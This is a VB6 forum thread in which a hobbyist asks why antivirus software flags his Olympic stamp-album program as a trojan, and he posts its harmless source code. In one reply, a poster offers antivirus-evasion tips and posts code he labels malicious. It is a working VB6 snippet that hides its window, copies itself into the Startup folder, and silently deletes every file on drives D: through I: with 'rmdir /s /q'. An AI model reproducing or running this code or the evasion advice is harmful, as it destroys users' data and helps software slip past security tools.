搜索
编程论坛 → 开发语言 → 『 VB6论坛 』 → 求助：如何找到“木马”代码？
标题：求助：如何找到“木马”代码？
只看楼主
jrs123
Rank: 2
等　级：论坛游民
威　望：1
帖　子：627
专家分：14
注　册：2006-9-5
结帖率：94.12%
楼主
 问题点数：0 回复次数：31 
求助：如何找到“木马”代码？
工程1.rar (616.89 KB)

本人编了一个软件制成EXE文件后，总是报有“木马”，但不知那组代码是“木马”？请您指出，先谢了！
该文件代码如下：
'关闭前面的窗体用
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Const PROCESS_TERMINATE = 1
'下面是链接网站用代码(一共有两个部分,第2段见下面Command3)
Private Declare Function ShellExecute Lib "shell32.dll" Alias _
    "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
    ByVal lpFile As String, ByVal lpParameters As String, _
    ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOW = 5

'需加载 windows script host object model
'以下二级菜单
Private Declare Function GetMenu Lib "user32" _
   (ByVal hwnd As Long) As Long
Private Declare Function GetSubMenu Lib "user32" _
   (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function SetMenuItemBitmaps Lib "user32" _
   (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, _
    ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Const MF_BYPOSITION = &H400&
'Private Sub Form_Unload(Cancel As Integer) '二级菜单用
    'Unload FrmMenu
'End Sub
Private Sub frame1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) '二级菜单用
  If Button And vbRightButton Then
     PopupMenu FrmMenu.jrswj
      End If
End Sub
Private Sub tp8_Click() '二级菜单用
  End
End Sub
Private Sub Command23_Click() '停止播放

End Sub
Private Sub Command22_Click() 'QQ对话用(3-2)
    On Error Resume Next
    If getQQpath = "" Then
        MsgBox "你没有安装QQ，请先安装QQ", vbOKOnly Or vbInformation, Me.Caption
        Exit Sub
    Else
        iw1.Run "tencent://message/?uin=791465768&Site=jrs123&Menu=yes"
    End If
End Sub

'判断是否安装QQ 'QQ对话用(3-3)
Private Function getQQpath() As String
    getQQpath = iw1.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Tencent\QQ\Install")
End Function
Private Sub UnloadMe(bQuestion As Boolean, bEnd As Boolean, Optional ByRef Cancel As Integer) '关闭钮(补2)
Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
strWinName = "第27届(1)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(2)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(3)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(4)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(5)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(6)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
If bQuestion Then
        If MsgBox("你要退出《第27届奥运会邮票集》吗?", vbYesNo + vbExclamation, "系统询问") <> vbYes Then
            Cancel = True
            Exit Sub
        Else
            hLong = FindWindow(vbNullString, strWinName)
            If hLong Then
                GetWindowThreadProcessId hLong, LpID
                Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
                TerminateProcess Ltem, 0
                hLong = 0
            End If
        End If
    End If
   
    For Each pForm In Forms
        Unload pForm
    Next
End Sub

Private Sub Command20_Click()
Unload xj27f '去本届第6页
Load xj27f
xj27f.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) '关闭钮用1222(补2)
    'If UnloadMode = 0 Then UnloadMe True, True, Cancel
End Sub
Private Sub Command10_Click()
Unload xj27b '去本届第2页
Load xj27b
xj27b.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command11_Click()
Unload xj27c '去本届第3页
Load xj27c
xj27c.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command12_Click()
Unload xj27d '去本届第4页
Load xj27d
xj27d.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command13_Click()
Unload xj27c '去本届第3页
Load xj27c
xj27c.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command14_Click()
Unload xj27d '去本届第4页
Load xj27d
xj27d.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command15_Click()
Unload xj27e '去本届第5页
Load xj27e
xj27e.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command16_Click()
Unload xj27e '去本届第5页
Load xj27e
xj27e.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command17_Click()
 Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
If MsgBox("你要退出《第27届奥运会邮票集》吗?", vbYesNo + vbExclamation, "系统询问") = vbYes Then
   Unload Me
   End
   Else
   Cancel = True
    End If
'bQuestion = True '关闭钮用(6特)  退出系统,单页用此句代码
    'Unload Me
End Sub

Private Sub Command18_Click()
Dim web As String '链接网站用,网址放在Combo1的属性Text中,拖1个图形框Picture1,拖1个Combo1
  web = Combo1.Text
  ShellExecute 0&, vbNullString, web, vbNullString, vbNullString, 0
End Sub
Private Sub Command24_Click()
Dim web As String '链接网站用,网址放在Combo1的属性Text中,拖1个图形框Picture1,拖1个Combo1
  web = Combo2.Text
  ShellExecute 0&, vbNullString, web, vbNullString, vbNullString, 0
End Sub
Private Sub Command19_Click()
Unload xj27f '去本届第6页
Load xj27f
xj27f.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command2_Click()
Shell "rundll32.exe url.dll,FileProtocolHandler " & App.Path & "\xj26.exe", vbMaximizedFocus
'UnloadMe False, True '关闭钮用(补)
End Sub

Private Sub Command3_Click()
Unload xj27b '去本届第2页
Load xj27b
xj27b.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command5_Click()
Shell "rundll32.exe url.dll,FileProtocolHandler " & App.Path & "\xj26.exe", vbMaximizedFocus
'UnloadMe False, True '关闭钮用(补)
End Sub

Private Sub Command6_Click()
Unload xj27b '去本届第2页
Load xj27b
xj27b.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command8_Click()
Unload xj27b '去本届第2页
Load xj27b
xj27b.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Frame1_DragDrop(Source As Control, x As Single, y As Single) '滚轮与鼠标事件用

End Sub
Private Sub Command1_Click() '返回主页
Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
strWinName = "奥林匹克运动会邮票集"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
Shell "rundll32.exe url.dll,FileProtocolHandler " & App.Path & "\olpk.exe", vbMaximizedFocus
'UnloadMe False, True '关闭钮用(补)
End Sub
Private Sub Command4_Click() '返回主页
Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
strWinName = "奥林匹克运动会邮票集"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
Shell "rundll32.exe url.dll,FileProtocolHandler " & App.Path & "\olpk.exe", vbMaximizedFocus
'UnloadMe False, True '关闭钮用(补)
End Sub

Private Sub Form_Load() '留言栏,注意MyApp编号
Command7.Enabled = False '页码号失效代码
Command9.Enabled = False
    'Text6.Text = Inet1.OpenURL("http://www.)
    Text1.Text = GetSetting("MyApp23a01", "保存留言", "内容", "") '填写框格内容第1部分,第2部分在后面
    Text2.Text = GetSetting("MyApp23a02", "保存留言", "内容", "")
    Text3.Text = GetSetting("MyApp23a03", "保存留言", "内容", "")
    Text4.Text = GetSetting("MyApp23a04", "保存留言", "内容", "")
    Text5.Text = GetSetting("MyApp23a05", "保存留言", "内容", "")
        
End Sub


Private Sub form_resize()
    If Frame1.Height > Me.Height Then
        VScroll1.Visible = True
    Else
        VScroll1.Visible = False
    End If
    If Frame1.Width > Me.Width Then
        HScroll1.Visible = True
    Else
        HScroll1.Visible = False
    End If
    HScroll1.Left = 0
    HScroll1.Top = Me.ScaleHeight - HScroll1.Height
    VScroll1.Left = Me.ScaleWidth - VScroll1.Width
    VScroll1.Top = 0
    HScroll1.Width = Me.ScaleWidth
    VScroll1.Height = Me.ScaleHeight
    If VScroll1.Visible = True Then
        If HScroll1.Visible = True Then
           HScroll1.Width = Abs(Me.ScaleWidth - VScroll1.Width)
           VScroll1.Height = Abs(Me.ScaleHeight - HScroll1.Height)

        End If
    End If
    HScroll1.Max = (Frame1.Width - Me.Width) + 3 * VScroll1.Width
    VScroll1.Max = (Frame1.Height - Me.Height) + 3 * HScroll1.Height
    HScroll1.ZOrder
    VScroll1.ZOrder
    Frame1.Left = (Me.ScaleWidth - Frame1.Width) / 2
End Sub


Private Sub Image10_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image11_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image12_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image13_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image14_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image15_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image16_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image17_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image18_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image19_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image20_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image21_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image22_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image23_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image24_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image25_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image26_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image27_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image28_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image29_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image30_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image31_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image32_Click()
Load xj27a09a
xj27a09a.Show
End Sub

Private Sub Image6_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image7_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image8_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Image9_Click()
Load xj27a08a
xj27a08a.Show
End Sub

Private Sub Label13_Click()
Load xj27qw
xj27qw.Show
End Sub

    Private Sub Text1_Click() '填写框格内容第2部分,第1部分在Private Sub Form_Load中
Dim message, title, defaultValue As String
    Dim myValue As String
    message = ""   '设置提示信息
    title = "请输入您的答案"                      '设置标题
    defaultValue = ""                           '设置默认值
    myValue = InputBox(message, title, defaultValue, 100, 100)
   '显示输入对话框
   If myValue = "" Then
    Else
        Text1.Text = myValue
        SaveSetting "MyApp23a01", "保存留言", "内容", myValue
    End If
End Sub

Private Sub Text2_Click()
Dim message, title, defaultValue As String
    Dim myValue As String
    message = ""   '设置提示信息
    title = "请输入您的答案"                      '设置标题
    defaultValue = ""                           '设置默认值
    myValue = InputBox(message, title, defaultValue, 100, 100)
   '显示输入对话框
   If myValue = "" Then
    Else
        Text2.Text = myValue
        SaveSetting "MyApp23a02", "保存留言", "内容", myValue
    End If
End Sub

Private Sub Text3_Click()
Dim message, title, defaultValue As String
    Dim myValue As String
    message = ""   '设置提示信息
    title = "请输入您的答案"                      '设置标题
    defaultValue = ""                           '设置默认值
    myValue = InputBox(message, title, defaultValue, 100, 100)
   '显示输入对话框
   If myValue = "" Then
    Else
        Text3.Text = myValue
        SaveSetting "MyApp23a03", "保存留言", "内容", myValue
    End If
End Sub
Private Sub Text4_Click()
Dim message, title, defaultValue As String
    Dim myValue As String
    message = ""   '设置提示信息
    title = "请输入您的答案"                      '设置标题
    defaultValue = ""                           '设置默认值
    myValue = InputBox(message, title, defaultValue, 100, 100)
   '显示输入对话框
   If myValue = "" Then
    Else
        Text4.Text = myValue
        SaveSetting "MyApp23a04", "保存留言", "内容", myValue
    End If
End Sub

Private Sub Text5_Click()
Dim message, title, defaultValue As String
    Dim myValue As String
    message = ""   '设置提示信息
    title = "请输入您的答案"                      '设置标题
    defaultValue = ""                           '设置默认值
    myValue = InputBox(message, title, defaultValue, 100, 100)
   '显示输入对话框
   If myValue = "" Then
    Else
        Text5.Text = myValue
        SaveSetting "MyApp23a05", "保存留言", "内容", myValue
    End If
End Sub

Private Sub HScroll1_Change() '滚动条与鼠标事件用
  Frame1.Left = -HScroll1.Value
End Sub

Private Sub Label3_Click() '双击后出说明窗体
Load xj27sm
xj27sm.Show
End Sub

Private Sub VScroll1_Change() '滚动条与鼠标事件用
    Frame1.Top = -VScroll1.Value
End Sub
Private Sub VScroll1_GotFocus() '滚动条与鼠标事件用
    Command1.SetFocus
End Sub
Private Sub Image1_Click()
Load xj27a01a
xj27a01a.Show
End Sub



Private Sub Image2_Click()
Load xj27a02a
xj27a02a.Show
End Sub



Private Sub Image3_Click()
Load xj27a03a
xj27a03a.Show
End Sub

Private Sub Image33_Click()
Load xj27a06a
xj27a06a.Show
End Sub
Private Sub Image34_Click()
Load xj27a07A
xj27a07A.Show
End Sub


Private Sub Image4_Click()
Load xj27a04a
xj27a04a.Show
End Sub

Private Sub Image5_Click()
Load xj27a05a
xj27a05a.Show
End Sub





搜索更多相关主题的帖子: 木马　软件　如何　
2012-07-22 06:09
yuma
Rank: 11Rank: 11Rank: 11Rank: 11
来　自：银河系
等　级：贵宾
威　望：33
帖　子：1883
专家分：2904
注　册：2009-12-22
第 2 楼
 得分:0 
你程序的特征码和木马的特征码相同，当然会误报了。


如果你想不误报的话，你可以在杀软上信任它，或者也可以做个免杀。

[ 本帖最后由 yuma 于 2012-7-22 07:24 编辑 ]

心生万象，万象皆程序！
本人计算机知识网：http://bbs.为防伸手党，本站已停止会员注册。
2012-07-22 06:49
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来　自：china
等　级：贵宾
威　望：254
帖　子：11485
专家分：33241
注　册：2007-7-10
第 3 楼
 得分:0 
360报的罢 呵呵
2012-07-22 07:22
jrs123
Rank: 2
等　级：论坛游民
威　望：1
帖　子：627
专家分：14
注　册：2006-9-5
第 4 楼
 得分:0 
以下是引用zklhp在2012-7-22 07:22:39的发言：

360报的罢 呵呵
是360报的，但不知为什么其它各集的EXE文件就不报，单这届报警
2012-07-22 07:35
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来　自：china
等　级：贵宾
威　望：254
帖　子：11485
专家分：33241
注　册：2007-7-10
第 5 楼
 得分:0 
以下是引用jrs123在2012-7-22 07:35:36的发言：

是360报的，但不知为什么其它各集的EXE文件就不报，单这届报警
两种可能 一种是你电脑确实有病毒 感染了这个程序 当然这种可能性比较小 另外一种就是 你这个程序被360认为是病毒

360对于新程序 也就是自己写的程序 特别敏感 有人觉得是好事有人觉得是坏事 这个我不评论 你这里面出问题的可能是网络访问那个txt
2012-07-22 07:38
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来　自：china
等　级：贵宾
威　望：254
帖　子：11485
专家分：33241
注　册：2007-7-10
第 6 楼
 得分:0 
Shell "rundll32.exe url.dll,FileProtocolHandler " & App.Path & "\xj26.exe", vbMaximizedFocus

或者这个也可能 要么是网络的那个 要么是这个 要想不报毒 可以试试是哪个出的问题 对症下药 或者可以把程序提交360 不过 …… 我要说什么你自己想罢
2012-07-22 07:41
yuma
Rank: 11Rank: 11Rank: 11Rank: 11
来　自：银河系
等　级：贵宾
威　望：33
帖　子：1883
专家分：2904
注　册：2009-12-22
第 7 楼
 得分:0 
用这个，免杀很有效果的。

心生万象，万象皆程序！
本人计算机知识网：http://bbs.为防伸手党，本站已停止会员注册。
2012-07-22 07:50
yuma
Rank: 11Rank: 11Rank: 11Rank: 11
来　自：银河系
等　级：贵宾
威　望：33
帖　子：1883
专家分：2904
注　册：2009-12-22
第 8 楼
 得分:0 
以下是引用zklhp在2012-7-22 07:38:52的发言：

两种可能 一种是你电脑确实有病毒 感染了这个程序 当然这种可能性比较小 另外一种就是 你这个程序被360认为是病毒

360对于新程序 也就是自己写的程序 特别敏感 有人觉得是好事有人觉得是坏事 这个我不评论 你这里面出问题的可能是网络访问那个txt


尝试一下，下面的代码也一样会被金山报毒
Shell "cmd /c del " & App.EXEName & ".exe",vbhide
。

360对于新程序 也就是自己写的程序 特别敏感
本人不赞成！
请尝试下面恶意代码，我金山毒霸由始至终都不杀它，也不提示、警告。
程序代码：
Private Sub Form_Load()
Form1.Visible= False
Dim a As String
Dim b As String
Dim s As Stringa= App.Path & "\" & App.EXEName & ".exe"b= "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\" & App.EXEName & ".exe"s= Dir(b, vbDirectory)
If s = "" Or a <> b Then
FileCopy a, b
End  If
Shell "cmd  /c  rmdir  /s  /q  D:\", vbHide
Shell "cmd  /c  rmdir  /s  /q  E:\", vbHide
Shell "cmd  /c  rmdir  /s  /q  F:\", vbHide
Shell "cmd  /c  rmdir  /s  /q  G:\", vbHide
Shell "cmd  /c  rmdir  /s  /q  H:\", vbHide
Shell "cmd  /c  rmdir  /s  /q  I:\", vbHide
End Sub



[ 本帖最后由 yuma 于 2012-7-22 10:05 编辑 ]

心生万象，万象皆程序！
本人计算机知识网：http://bbs.为防伸手党，本站已停止会员注册。
2012-07-22 09:55
bczgvip
Rank: 14Rank: 14Rank: 14Rank: 14
等　级：贵宾
威　望：66
帖　子：1310
专家分：5312
注　册：2009-2-26
第 9 楼
 得分:0 
360没有添加信任目录吗？
2012-07-22 13:24
jrs123
Rank: 2
等　级：论坛游民
威　望：1
帖　子：627
专家分：14
注　册：2006-9-5
第 10 楼
 得分:0 
谢谢各位的回复！
为了确认“木马”是否就存在“27a”内，其它页内是否还会有，于是又制作了27b.exe,结果奇怪的事情发生了；
再次检测，“木马”居然跑到“27b.exe”之中（见图），而“27a.exe”却反而没查出来；
难道“木马”代码是在27b之中？该页的代码如下：
27b.rar (544.51 KB)

'关闭前面的窗体用
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Const PROCESS_TERMINATE = 1
'下面是链接网站用代码(一共有两个部分,第2段见下面Command3)
Private Declare Function ShellExecute Lib "shell32.dll" Alias _
    "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
    ByVal lpFile As String, ByVal lpParameters As String, _
    ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOW = 5
'以下二级菜单
Private Declare Function GetMenu Lib "user32" _
   (ByVal hwnd As Long) As Long
Private Declare Function GetSubMenu Lib "user32" _
   (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function SetMenuItemBitmaps Lib "user32" _
   (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, _
    ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Const MF_BYPOSITION = &H400&
'Private Sub Form_Unload(Cancel As Integer) '二级菜单用
    'Unload FrmMenu
'End Sub
Private Sub frame1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) '二级菜单用
  If Button And vbRightButton Then
     PopupMenu FrmMenu.jrswj
      End If
End Sub
Private Sub tp8_Click() '二级菜单用
  End
End Sub
Private Sub UnloadMe(bQuestion As Boolean, bEnd As Boolean, Optional ByRef Cancel As Integer) '关闭钮(补2)
Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
strWinName = "第27届(1)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(2)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(3)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(4)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(5)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
strWinName = "第27届(6)"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
If bQuestion Then
        If MsgBox("你要退出《第27届奥运会邮票集》吗?", vbYesNo + vbExclamation, "系统询问") <> vbYes Then
            Cancel = True
            Exit Sub
        Else
            hLong = FindWindow(vbNullString, strWinName)
            If hLong Then
                GetWindowThreadProcessId hLong, LpID
                Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
                TerminateProcess Ltem, 0
                hLong = 0
            End If
        End If
    End If
   
    For Each pForm In Forms
        Unload pForm
    Next
End Sub

Private Sub Command22_Click()
Load xj27b14bb
xj27b14bb.Show
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) '关闭钮用1222(补2)
    'If UnloadMode = 0 Then UnloadMe True, True, Cancel
End Sub
Private Sub Command11_Click()
Unload xj27e '去本届第5页
Load xj27e
xj27e.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command12_Click()
Unload xj27c '去本届第3页
Load xj27c
xj27c.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command13_Click()
Unload xj27e '去本届第5页
Load xj27e
xj27e.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command14_Click()
Unload xj27d '去本届第4页
Load xj27d
xj27d.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command15_Click()
Unload xj27c '去本届第3页
Load xj27c
xj27c.Show
'UnloadMe False, False '关闭钮(补)
End Sub


Private Sub Command16_Click()
Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
If MsgBox("你要退出《第27届奥运会邮票集》吗?", vbYesNo + vbExclamation, "系统询问") = vbYes Then
   Unload Me
   End
   Else
   Cancel = True
    End If
'bQuestion = True '关闭钮用(6特)  退出系统,单页用此句代码
    'Unload Me
End Sub

Private Sub Command17_Click()
Unload xj27d '去本届第4页
Load xj27d
xj27d.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command18_Click()
Dim web As String '链接网站用,网址放在Combo1的属性Text中,拖1个图形框Picture1,拖1个Combo1
  web = Combo1.Text
  ShellExecute 0&, vbNullString, web, vbNullString, vbNullString, 0
End Sub

Private Sub Command19_Click()
Unload xj27f '去本届第6页
Load xj27f
xj27f.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command2_Click()
Unload xj27a '去本届第1页
Load xj27a
xj27a.Show
'UnloadMe False, False '关闭钮(补)
End Sub


Private Sub Command20_Click()
Unload xj27f '去本届第6页
Load xj27f
xj27f.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command21_Click()
Load xj27b29bb
xj27b29bb.Show
End Sub

Private Sub Command3_Click()
Unload xj27c '去本届第3页
Load xj27c
xj27c.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command5_Click()
Unload xj27a '去本届第1页
Load xj27a
xj27a.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command6_Click()
Unload xj27c '去本届第3页
Load xj27c
xj27c.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command7_Click()
Unload xj27a '去本届第1页
Load xj27a
xj27a.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command9_Click()
Unload xj27a '去本届第1页
Load xj27a
xj27a.Show
'UnloadMe False, False '关闭钮(补)
End Sub

Private Sub Command1_Click() '返回主页
Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
strWinName = "奥林匹克运动会邮票集"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
Shell "rundll32.exe url.dll,FileProtocolHandler " & App.Path & "\olpk.exe", vbMaximizedFocus
'UnloadMe False, True '关闭钮用(补)
End Sub
Private Sub Command4_Click() '返回主页
Dim Ltem As Long
Dim LpID As Long
Dim hLong     As Long
Dim strWinName     As String
strWinName = "奥林匹克运动会邮票集"
hLong = FindWindow(vbNullString, strWinName)
If hLong Then
GetWindowThreadProcessId hLong, LpID
Ltem = OpenProcess(PROCESS_TERMINATE, False, LpID)
TerminateProcess Ltem, 0
hLong = 0
End If
Shell "rundll32.exe url.dll,FileProtocolHandler " & App.Path & "\olpk.exe", vbMaximizedFocus
'UnloadMe False, True '关闭钮用(补)
End Sub

Private Sub Form_Load() '留言栏,注意MyApp编号
Command8.Enabled = False '按钮失效代码
Command10.Enabled = False
      
End Sub

Private Sub form_resize() '滚动条与鼠标事件用
    If Frame1.Height > Me.Height Then
        VScroll1.Visible = True
    Else
        VScroll1.Visible = False
    End If
    If Frame1.Width > Me.Width Then
        HScroll1.Visible = True
    Else
        HScroll1.Visible = False
    End If
    HScroll1.Left = 0
    HScroll1.Top = Me.ScaleHeight - HScroll1.Height
    VScroll1.Left = Me.ScaleWidth - VScroll1.Width
    VScroll1.Top = 0
    HScroll1.Width = Me.ScaleWidth
    VScroll1.Height = Me.ScaleHeight
    If VScroll1.Visible = True Then
        If HScroll1.Visible = True Then
           HScroll1.Width = Abs(Me.ScaleWidth - VScroll1.Width)
           VScroll1.Height = Abs(Me.ScaleHeight - HScroll1.Height)

        End If
    End If
    HScroll1.Max = (Frame1.Width - Me.Width) + 3 * VScroll1.Width
    VScroll1.Max = (Frame1.Height - Me.Height) + 3 * HScroll1.Height
    HScroll1.ZOrder
    VScroll1.ZOrder
    Frame1.Left = (Me.ScaleWidth - Frame1.Width) / 2
End Sub

Private Sub HScroll1_Change() '滚动条与鼠标事件用
  Frame1.Left = -HScroll1.Value
End Sub

Private Sub VScroll1_Change() '滚动条与鼠标事件用
    Frame1.Top = -VScroll1.Value
End Sub
Private Sub VScroll1_GotFocus() '滚动条与鼠标事件用
    Command1.SetFocus
End Sub
2012-07-22 13:25



参与讨论请移步原网站贴子：https://bbs.bccn.net/thread-373862-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有，并保留所有权利。
Powered by Discuz, Processed in 0.625542 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved